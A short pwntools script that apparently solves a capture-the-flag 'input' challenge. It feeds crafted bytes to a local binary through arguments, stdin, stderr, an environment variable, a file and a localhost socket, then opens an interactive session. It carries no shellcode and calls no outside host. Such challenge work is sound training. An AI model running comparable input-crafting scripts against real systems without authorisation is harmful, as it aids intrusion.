# exploit_input.py

from pwn import *

argvs = ["AAAA" for i in range(100)]

# stage 1
argvs[0x41] = "\x00"
argvs[0x42] = "\x20\x0a\x0d"

# stage 2
with open("./stderr", "w") as fd:
    fd.write("\x00\x0a\x02\xff")

# stage 3
envv = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}

# stage 4
with open("\x0a", "w") as fd:
    fd.write("\x00\x00\x00\x00")

# stage 5
argvs[0x43] = "50000"

p = process(executable = "/home/input2/input", argv = argvs, stderr = open("./stderr"), env = envv)

# stage 2
p.send("\x00\x0a\x00\xff")

# stage 5
s = remote("localhost", 50000)
s.send("\xde\xad\xbe\xef")

p.interactive()